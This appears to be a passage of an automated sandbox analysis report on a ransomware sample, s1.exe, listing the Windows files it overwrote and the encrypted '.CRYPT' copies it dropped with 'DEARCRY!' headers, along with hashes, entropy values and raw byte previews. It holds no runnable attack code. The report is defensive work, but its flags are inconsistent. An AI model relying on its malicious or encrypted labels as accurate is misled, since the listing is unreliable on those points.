.[lRx...Y..o:mW..a..oK.fI.....M3.kE..|.e}Q.yR.M..&.?Uqv[..k..u.\.........C.*..D.l:..,3a...k....%...{...V....L.....".....q@..o...q...kCo....>....E....-C..V...}..I..1.2.5...."y....j6A.....)>.V.^A.Q8G(6....%.e...._........5...........A..s.....t...em......o#.1.:.9.......f&.C.....:...H3.Y.9....Z.-.,ZS.SJ..........H.$A.:.@...UvS...Nn.J\.....ex#.\..[.@...K.Wc...)*I.....s8.\._iN.I..a..i...K%.&....;_E.;U*&.F.R...vY.......A..;.}.....=..:..3.rbZ..:.0.=.,.'V.i..^{t..7....Z=5....u..@.B~..R....,S....L..h.ZE.6.dEP[......:..rb.%m.2...r.......N..M..H...?l.<).D.......4...s*..1t.7.........W.....p.;......JF.=....`..ye...0r.&.[.f.Fr.....Vw....=.)..2$o.2...)!.g..DAh...G.V.L..2...1:.5...&.."....2.c{.,o..Xo;`.l....$.......3....;nGfJ%.Z.s!D.....|o.(.Z5.a.2.P6.r...e..>..1..x...<.<#..W......X...F.-x.1..i...B-b:~>}..v1.}g..Y...8q.f._..-..s=..~..9...>.....'.A.<...!....p.QX..>.O.a..|.0n]..>....I....Cj....U.:.:.U.<V.....T....~O..
                                                              C:\ProgramData\USOPrivate\UpdateStore\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2847
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03D1D450B63784B0F3ABE53ECA9F7F92
                                                              SHA1:3233F0E2131872EA390DFFFA5954CD1D286C83DC
                                                              SHA-256:58169478DA84E9019C0ED17B25CBE9CF970ED48EC5CDD9D38FC59312877CF211
                                                              SHA-512:C323CAEB8A2AE3AA40E79A15A1CDD52ED189ABAA88FE475FDD510F6FA006C3ED285E6A1F068C6921761664AC9029E01AEA360CDF60969A5816637C3B4C58ADB4
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\USOPrivate\UpdateStore\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3128
                                                              Entropy (8bit):7.944171111747038
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:EED6977CB1A57DACEA818400C9E8D5F0
                                                              SHA1:F32C9E2D1C1784B222C615AF344C4CD0EFAE3DE1
                                                              SHA-256:A2F95F0CBD654A0B5310C691DB9FB7EA4909BC44D8FD8C62A83CBCD240236141
                                                              SHA-512:E286CD44A9F51E9F373C52F74F0C95A1AC19F394F6F8598025815228FD2E155D09BA300AF182F930958CC8178B1E69E65F572564F634C8EF9D477B86687B777C
                                                              Malicious:false
                                                              Preview: DEARCRY!.....3..S.~.A._5>..9..d..7.8QI,&;..`..iU4...f.3.T.P$Q<!..!...A...>.y.?\..\...G2...8=.r..L.}..8.=,C..w.{..V`..B......C......`[..n.M.0I%.U.Z..o....N......8.Z.O..N...N.<."..[.e....W........70...G...ycQU.>...l..f...7.......N..2..O....,...)...-.d.....?.?..[O..............>l..>.86Jm....x7...+..<c.!..Q.l..W...}<_>EOv&.......g...b....F...)..s...u..4...."7.).)^~U.d_...5.DR]....;_.>k....~.I$sV......tK..{.Fx..H9...UfO.n\.-....).I.Hl....e.%..0.%..fI..53m...{.f.2i..{$<O..`C...d.d....$.A....D@(..{..:...N.>..>^.d....rx..G-.......W.$.g...H.1...t......vG2..."...Z}M..A...5....A..q.R..h.<..Y..m.....W.xh....g........Z.....P.A.1r.......w.....@"2nH.h.........C..y".X..0...Q......4.B..X'T2.rr.4..p..Z}.ry.....R..~....*w.G...R{..n..6..U.V5..zW.b.._.?.2.=4...$.Q}mp{..7..Ax..6...q..l0fs...v....b...."............]L.3.V.2.L*.N.v.u.3.*)nFp@~4....R....tNC......Jf.....>..2...f........q..D..(.....DN.....e.....8..FC..O..(Q..."].........h.T..y3..T..B.5J`....0...1....).t.(
                                                              C:\Users\Default\AppData\Local\Microsoft\Windows Sidebar\settings.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3200
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:49B1245E4DEEA2F4182E2E8DFBA17ACC
                                                              SHA1:6973E3BDFE350EF5EC9E7DB3495ACF309F34A5D2
                                                              SHA-256:4A3DB3197C3E6176B5CB8EDE1BCAC8E8F41D5FFB1585D5909B394E9BB6CB27A6
                                                              SHA-512:08F7B5C02FCB343A5FFC52ADF13C23CB4A11423075CCF430AC1BEB78FA421EC3583152C6C21D96B67036D8432CCA0CB0212CED24C89A8E14488590060BE88C1D
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\Default\AppData\Local\Microsoft\Windows Sidebar\settings.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):15040
                                                              Entropy (8bit):7.897696256535006
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:CAA7479B9F8A498C2D53ADDD6967319B
                                                              SHA1:195881341D3E1C93BBC3FC080D785346698D4320
                                                              SHA-256:B69940389C3407ED176918F9DAE5F4CB0286974318F4E890B30B8FB886429C10
                                                              SHA-512:BEB7309A63A1002199B97BAF9763FE9C03C04A53A5D2FE55BF36B6AD9F1B3D7594401D6066AF5931117A3AB63798E763EB9C7CDD74F079AE6F15415F39C623E5
                                                              Malicious:false
                                                              Preview: DEARCRY!.....Z...c.w...]juVj..jb).7.V.Y.....H........(<VC...a.w.}.D.L.v.:......K....(..A..V.v.....Y..}q.=..A...b*..8.$S...?.s."..4A...|...r,w../....KQ.AZdr&..+....w(].Il.*.~ .T.&....j.V.-.y4#Q.P....UO...m........q:.m..ND.r=...~..#..+x(^.0....D9il..!......P.........erG..N.R.e....T.:...r....(......n...nf?.%&jtk..9..mJ..X...._...\.c.Uh.R..M@.L...k..!...DEARCRY!.....s..Mu."...[8W.s}:fM:...:....1.h....b.....)."..~.......Y.q.(-.......OHT*.U..?T.4Y..G.7.m'.c..S%.!7RD..J..`K....V.78..T.....].H$#rv..A^........(.8...Q..!!Q..e..$'.A8Q#..:.c...h..~.=11c..H..L.......@..=/..6...gf+........{..\.<..3....%..$...w....P..........*=9.....^e~!...j....D*[.,.k.C...t.p.q.......N.......,9..:.c.z.3.........tE..J.-.[n+.<zzDEARCRY!.....g3.....'7....G...V.D...%.J]Z.....l......O.?......7..(..M$."'.d.Bg..!.t6..v7....].$...pq.u.....jT..I.A"g>c..s..`Z..\..... ......t.....!.%.M..*.cV.lL.;..2......H..7/a$.An..h..5...d...t... ....X......`..[.u..].$.O$.k...`v...Bu8
                                                              C:\Users\Default\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):117941
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D094164F2AA8EEEFFAAE862742DF3568
                                                              SHA1:F064575D6A0B1F24EFA7D972D4AEBBCA3129FB09
                                                              SHA-256:6BD5A9D0932D4C839855581D7F0FC5AD13D7F1AE138CCEEDD8BF0AAF5DD7F031
                                                              SHA-512:A99014EA3DDC4346634D554785DCBBD3768AB320E96027D07D25C245709D713FF2AE190631CEE791768D436F2B947BCA609A56CC20EAD8202C431A540610E7A4
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\Default\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):118232
                                                              Entropy (8bit):7.998520245172679
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:C22F716415219D9DBF9B2F42F8E22B2F
                                                              SHA1:951ECF1325DB174D865C1878380E2036C6F36C27
                                                              SHA-256:E43D1B393E7FBBE97BECB5E1F623C7974D57246D45CD2B9F4BA1BAA7007726D2
                                                              SHA-512:D6A1F2151C35C87B9990C62485A56F7EC8EAC57DF4BA37B21E4DA482AEA546EB0D78152859E957C27F4141A261ADBB2D8D7BDA8AB220F46F4C63F249ED61ECF8
                                                              Malicious:true
                                                              Preview: DEARCRY!.....Y...%.......3)..Y...o.(.z&mm.(.D.. ..5.V.S...}...~.>F..p.A.O..l...Fo.K.'/'.*....+X..`...\yL*..T......yl....f.X..0....#z..$...Ya.~.y...b%zakA.d.._......C.WU........m...V#.....C..a....j.._....:.....9....4..O^..Yb... .&a.........G..]..."#...h5.e.............=......B/..j.x,%."+[.#.M .^..='q&..+'..r.......`'.=...2..hex..%....(.I.h.nN..g..$...9.. ..H.2.v<..]s<.@.._..QE'..f.......*Gr .q...'......n...R.1../E6!.K..y..N..[~j.]8(.....S.G..t>w#h.!^.".e....f.Ts.d.-..f.1......,/...V|.wi9.J.C.4V.5.^=#.$..ne...q.]X....r.~.C.....f..~"..yd+Y?...].w.a...Q...x..\.._.=..W/...U$f...8X..f...:.........*...\.o.O.....f?W.`.x.X..o....,D...x.$A'j...NaO...6!.>....DDp.y..[....M....C........i..MT...Pk...........v7....g.Y.d...e..}.m[7m....... .n.<.r+%......9Yh>Wd..[.+.X...X..<.]..F!.=0_..W.$..Hg.k.j]P0.."@..... 9..\?;h.>.......w.>.....J......g..%.8R+F..-..kU.SsY....sw0B......d...7..!1...]...Qi.@Qu....?.....})g.Z~5.V..3X3......~j.>.w..G..<.j...Hb5.w.a.:./...Y
                                                              C:\Users\Default\AppData\Local\Microsoft\Windows\WinX\Group1\desktop.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3000
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:E637E7F7C9455B3D0769FB0EC139C95F
                                                              SHA1:9809C217187657639B7EDE26EAB10E56549BC108
                                                              SHA-256:F2EB889620BB1C00F5799D261CFA20ADB68B0488ED8AA0945DF50A5631867432
                                                              SHA-512:951BE98CDB1C13B6DAA7A2151F2746584577702E685C88146733CA12052925D397E8722F8EB84F6CD35A8A0AF84B5509095B018F1FD990C5802D393BAE0D6876
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\Default\AppData\Local\Microsoft\Windows\WinX\Group1\desktop.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):14400
                                                              Entropy (8bit):7.8909214289476814
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:0C5155E3BE0032DA3D02796B72163065
                                                              SHA1:C4F56011E41B7CEF702C1DC584EEFF0BDD7B5413
                                                              SHA-256:C554380877591087B5C3DB484391A286A9E53C1D38DBA5AB4A80B32ED9FE8FB2
                                                              SHA-512:34FB1583C7109CB36533EF6FD35B2DB9215426C570E00F3F246865C6051F97E98017D0B418FED1773E1167658B9ADE31949692578CA15F936C3003F027141B56
                                                              Malicious:false
                                                              Preview: DEARCRY!....A.D.M....jl.....Fb5l.W*.....OwV.4;nKB.cd.{.td.P.{..\j.h.V@.m.)..2..rCx.....h.U.w...d...v.%...]1..x..g.d.0.O..<......A.....a..B.gT......Xf....!fH..+......p*(..M~...A1.j0...5.dL.U.......0.u...dW(.&.p.G.-H:..2.6i4R..MZ..zb..?.fc.....A}.........K.......Z8<.S.en.wk9.i*........9e........ ...cX.../.s...@\.$M.s.X........q.j).T...VDEARCRY!....Z...hO..?....e.y..;..v.r......M.....f.....`....b#.{G.{...V..ds....t...QQ..\/.}......9..)..l.9..gw%..W....#..Tg#S"..$x....-..t%$.W.,.)D.....$....*...'.WP..9P.z.ME.3.z......Y].c..4{.&C...u....A{.Wu._...fX+.d......z{..wt{...1.S%..~...6....a.C...%Q...(k....K.......l'...&...)E.R...R..p...?=......kI.S..1?..7M...^.9...,/.M.....Fr...t.x.....9.DEARCRY!....t22.Y...._6..\...2.Y.....i2>.|.,...S.[E.(B.)<.A..$..tS.T.{G.]+...H.X....7U........`"....N._....!....*.1..j..1....Q..`Zh..a.s .&p..>...q...zI.Qk.t.....e$.T.5.eV...S.&.H=.[........n..6#_.....l..`...M.r...ho.9..w.E.,.._.....sX|......3..o...([).e.t....K.......
                                                              C:\Users\Default\AppData\Local\Microsoft\Windows\WinX\Group2\desktop.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):13000
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4CD02F84E26E614AE04ADE1D40E47FDB
                                                              SHA1:B372E8A7EB226EEE009249BD4A66D671FE1CF596
                                                              SHA-256:D837956B058DA18913889D25AB9A7BB02D72C972B7DE7FBD29AD6C18C030D929
                                                              SHA-512:6B6E5A819ADA931A688CBAE53A59F74E38847F21ABAB2ABA1E615DED1C3E822ED97670A093BC06EC051F91536DFEDF6913D162CAC9571DFD543EBCBBF3734A26
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\Default\AppData\Local\Microsoft\Windows\WinX\Group2\desktop.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):24640
                                                              Entropy (8bit):7.955161424883725
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:CF25261E810B638FCFC22E82611EB558
                                                              SHA1:6DEC6A2ED8F45F64F9FE4A176662316A88CD60BB
                                                              SHA-256:BF5AFE82AE2EBB8D260B5FACAC29FC84434540AC4613A6288A39EB155DAC78CC
                                                              SHA-512:0CD96484AC6BD4A29EAA43554B73440ECAE70060576DA51FB7A51EE83782AF7CC5E2616377AD334C1C4BD307DEC6E168C0AB449E6EB7108A018372A2DC2EDEB2
                                                              Malicious:false
                                                              Preview: DEARCRY!....C.B.(8;..:.rZ|4eR...M.>.O.3..;.9q.De.\..s..z.[..N..,X....S.6.t.{..Zi.d.....?.)Gfg.itu_3.?...G..Ph..>!..z...S..L..~?y./y0..A??.".z.-0...K..@)../7E....T{..&`,......J.p.......".KCJQE%.?..G...@%..F..BB..y.....VF.i.....Rd....6.cP..".E...2.S..!......E.......S.:..1.v3.......-..h..3...y...9..w....a.W1"..CS...H..........p.....<. Gug-ta....A.....]....#r...b..8!.....^:......:.=a.(c...Jt.d....^...)Z7...M..f....[IJ$$......7\.c,O.X.HN......X%^].0q.!... ....T....2..6.}..N.2...;.&..q...)C.#.a......Q.{x.W...e.............d..YnP..sw.^.9..49Y>g.i.MXL6..._)%..7T.......Vs....;.UkU...DEARCRY!.....e..%...kTo..O..&...c...;..ug.`...|.Mi....-!._........+...5....1.XZB.].a.V..#.`2.........H.9......"..Y.l.{...E@a.z.....+.r...fy.Q.k....a.i..3V..~!.....5..*...t!.e?.T....;5..l....6..e.......lq#..!x...@T.7...h.%+7Z..Id...%u..h..s.(<.8O..!.......E........j.......4........!9.}........(......\.....Of0{mG...:'..bx......'...]Y.....+<u...g!.f`.?...s..jK
                                                              C:\Users\Default\AppData\Local\Microsoft\Windows\WinX\Group3\desktop.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):37640
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:1867A92AE9659BD8CE8E242CA076A990
                                                              SHA1:B3DD5E521A2E137FAECC5405E51218DFEE926427
                                                              SHA-256:D6C1A51EE920FC573B64096FC3E4DF3A1B1EF56B7CC866FABF14AB84624EEF0C
                                                              SHA-512:E28F21077E04FEB1C7A7369B3D2F9F28D72EA75A34680668374807E6619C4F56D81C741ACC52C975BBB90339CD1658B7A88B7A2BA44C88F3E24EC1EF6A42C8B4
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\Default\AppData\Local\Microsoft\Windows\WinX\Group3\desktop.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):48960
                                                              Entropy (8bit):7.984007155419055
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:033E139CA5BE1CD05709F0E37FA7E423
                                                              SHA1:B81BD30C2CF11B028F9F9806FC6B1F9203EA2D1B
                                                              SHA-256:1082653C5A6E69CD8C4BF8A8A3FC2FDE83156ED011DA4979DEF827151583154F
                                                              SHA-512:6B59CA3CCC18E18005E02C942DA6E1DFF2AB9EF0C7738C87F9880A1468AA031C0796C9A438F71D9A9B54854AB25C77704376846AF04FEF42C30192F6E4AB4F48
                                                              Malicious:false
